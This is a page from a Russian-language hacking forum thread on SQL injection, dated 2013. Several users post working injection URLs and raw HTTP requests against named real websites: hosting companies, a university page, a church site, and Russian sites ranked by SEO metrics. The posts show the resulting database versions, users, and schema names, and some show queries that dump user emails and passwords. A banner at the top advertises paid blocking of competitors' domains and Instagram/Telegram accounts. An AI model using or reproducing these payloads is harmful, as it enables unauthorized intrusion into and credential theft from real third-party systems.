УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1543 из 1604

1543

Опции темы

Поиск в этой теме

Опции просмотра

#15421

05.04.2013, 21:28

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Код:

Code:
http://old.cageprisoners.com/articles.php?id=-25632+union+select+1,2,@@version,4,5,6--

#15422

08.04.2013, 17:26

$Аватар для \/IRUS$

\/IRUS

Guest

Сообщений: n/a

Провел на форуме:
118953

Репутация: 37

mamboserver.com

Яндекс тИЦ (CY): 220

Alexa Rank: 211,585

Google PageRank (PR): 7

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Код:

Code:
http://mamboserver.com/?submit=1%27%20AND%20%28SELECT%207050%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a7767773a%2C%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6375643a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27JrEg%27%3D%27JrEg

version(): '5.0.45'

banner:

web server operating system: Linux Ubuntu

web application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS: MySQL 5.0.45

dbs:

information_schema

cyl0n_linkm

cyl0n_prmanager

test

#15423

09.04.2013, 19:04

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Код:

Code:
http://www.churchbuyinggroup.co.uk/newsitem.php?news_id=-9+union+selec T+1,2,3,4,@@bas edir,6,concat_ws(0x3a,version(),user(),datab ase())--

5.0.45-community-nt:churchdbuser@localhost:church

#15424

11.04.2013, 14:01

$Аватар для \/IRUS$

\/IRUS

Guest

Сообщений: n/a

Провел на форуме:
118953

Репутация: 37

хостинги, домены etc

1. хостинг uh.ua - крупнейший хостинг в Украине!

:FACEPALM:

Скуля в хидере X-Forwarded-For

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Код:

Code:
GET / HTTP/1.1
Accept-encoding: gzip,deflate
X-Forwarded-For: ' AND (SELECT 5745 FROM(SELECT COUNT(*),CONCAT(0x3a6c71613a,(MID((IFNULL(CAST(version() AS CHAR),0x20)),1,50)),0x3a76636b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lol'='lol
Host: uh.ua
Accept: text/html
User-agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2
Connection: close

version(): '5.0.51a-community-log'

dbs:

ukrhost_dba

ukrhost_db

2. хостинг www.kosmohost.com - это ключ к надежности, успеху и процветанию Вашего бизнеса в сети Интернет!

Ага, надежности

MySQL UNION query (NULL) - 10 columns

Код:

Code:
www.kosmohost.com/catclient.php?cat=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x3a7869653a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a767a623a%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23

version(): '5.5.27'

dbs:

r000100_hosting

3. www.hostobzor.ru - эпицентр русскоязычного хостинга

AND boolean-based blind - WHERE or HAVING clause

Код:

Code:
www.hostobzor.ru/certified/info.php?pid=1%27%20AND%20ORD%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C11%2C1%29%29%3E1%20AND%20%27TvIu%27%3D%27TvIu

version(): '5.0.90-log'

dbs:

srv21398_ho

srv21398_ho20

test

4. www.imget.ru - бесплатный хостинг изображений

Скуля в параметре login для /login.php

а также в Cookies в параметре login везде

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Код:

Code:
POST /login.php HTTP/1.1
Accept-encoding: gzip,deflate
Accept: text/html
User-agent: Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Host: www.imget.ru
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded
Content-length: 323
Connection: close

login=1%27%20AND%20%28SELECT%203052%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a686b793a%2C%28MID%28%28IFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a6175683a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27zfeS%27%3D%27zfeS

version(): '5.1.63-0+squeeze1-log'

dbs:

imget

и на закуску

5. namecom.ru - продажа зарегистрированных доменов, барыжат доменами от 1000 баксов, даже себя продают =/

MySQL UNION query (NULL) - 3 columns

Код:

Code:
namecom.ru/page.php?id=-6835%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x3a6c756a3a%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2C0x20%29%2C0x3a7578623a%29%2CNULL%23

version(): '5.0.51a-community'

dbs:

admin_clubegoist

admin_cocovoyage

admin_coevent2

admin_domainfest

admin_multiviza

admin_mumm

admin_namecom

admin_orbico

admin_shestakoff

admin_topsignature

admin_travelcenter

admin_zelkor

information_schema

#15425

11.04.2013, 17:00

$Аватар для \/IRUS$

\/IRUS

Guest

Сообщений: n/a

Провел на форуме:
118953

Репутация: 37

http://er.tambov.ru/photoalbum.php?albumid=1+UNION+ALL+SELECT+NULL,'PU TIN%20-%20VAFEL!',NULL#

#15426

12.04.2013, 19:03

OxoTnik

Guest

Сообщений: n/a

Провел на форуме:
290351

Репутация: 173

Цитата:

Сообщение от None

http://database.gsdog.ru/dog.php?screen=1&id=-243+union+select+1,2,3,4,group_concat%28table_name %29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23,24,25,26+from+information_schema.tables&SID=e8 6ef0fb67f63386de0bb8b9d9ac9228

Цитата:

Сообщение от None

http://database.gsdog.ru/dog.php?screen=1&id=-243+union+select+1,2,3,4,group_concat%28column_nam e%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26+from+information_schema.columns+wher e+table_name=0x7573657273&SID=e86ef0fb67f63386de0b b8b9d9ac9228

Цитата:

Сообщение от None

http://database.gsdog.ru/dog.php?screen=1&id=-243+union+select+1,2,3,4,concat_ws%280x3a,id,name, password,role,fio,email%29,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26+from+users&SID =e86ef0fb67f63386de0bb8b9d9ac9228

http://www.biprint.ru/index.php?area=link&cat=2&id=-17+union+select+1,user%28%29,3,4,5,6,7,8,9,10

#15427

13.04.2013, 00:49

smirk

Guest

Сообщений: n/a

Провел на форуме:
45774

Репутация: 26

pr6 основной домен pr8 инст какой-то

http://mme.uwaterloo.ca/~camj/people/index.php?id=28+and+1=2+union+select+1,database(), 3,4,5,6,7,8,9,10,11,12,13+--+

#15428

15.04.2013, 22:09

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Код:

Code:
http://www.toantamtax.vn/public/news.php?id=-2+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10

5.0.92:toantamt_data1@localhost:toantamt_data1

#15429

16.04.2013, 01:27

Unknown

Guest

Сообщений: n/a

Провел на форуме:
5989

Репутация: 3

Яндекс тИЦ (CY) 475

Google PageRank (PR) 4

Яндекс Каталог

DMOZ.org каталог

Код:

Code:
http://lel.khv.ru/poems/resultik.phtml?id=-1761+union+select+1,database(),version(),user()--

Яндекс тИЦ (CY) 325

Google PageRank (PR) 4

Яндекс Каталог

траф 15к

Код:

Code:
http://www.l2db.ru/npc/index/2/rg/all/all/8/all/%5C'))+and+extractvalue(rand(),concat(0x3a,version(),0x3a,user()))+--+

Яндекс тИЦ (CY) 475

Google PageRank (PR) 4

Яндекс Каталог

DMOZ.org каталог

Код:

Code:
http://www.landscrona.ru/media/index.php?id=-3105+union+select+1,2,3,user(),database(),version(),7,8,9,10,11,12,13,14,15--

Google PageRank (PR) 3

Код:

Code:
http://kosmet.pro/index.php?id=-107+union+select+1,version(),database(),user(),5--

#15430

16.04.2013, 17:29

Vip77

Guest

Сообщений: n/a

Провел на форуме:
46989

Репутация: 20

Код:

Code:
http://www.f1-world.ru/champ2012/qualres.php?id=12209 UNION ALL SELECT 1,1,1,1,1,CONCAT(0x7c20,IFNULL(CAST(Email AS CHAR),0x20),0x3a,IFNULL(CAST(NickName AS CHAR),0x20),0x3a,IFNULL(CAST(PassWd AS CHAR),0x20),0x207c),1,1,1,1,1 FROM f1world.fusers#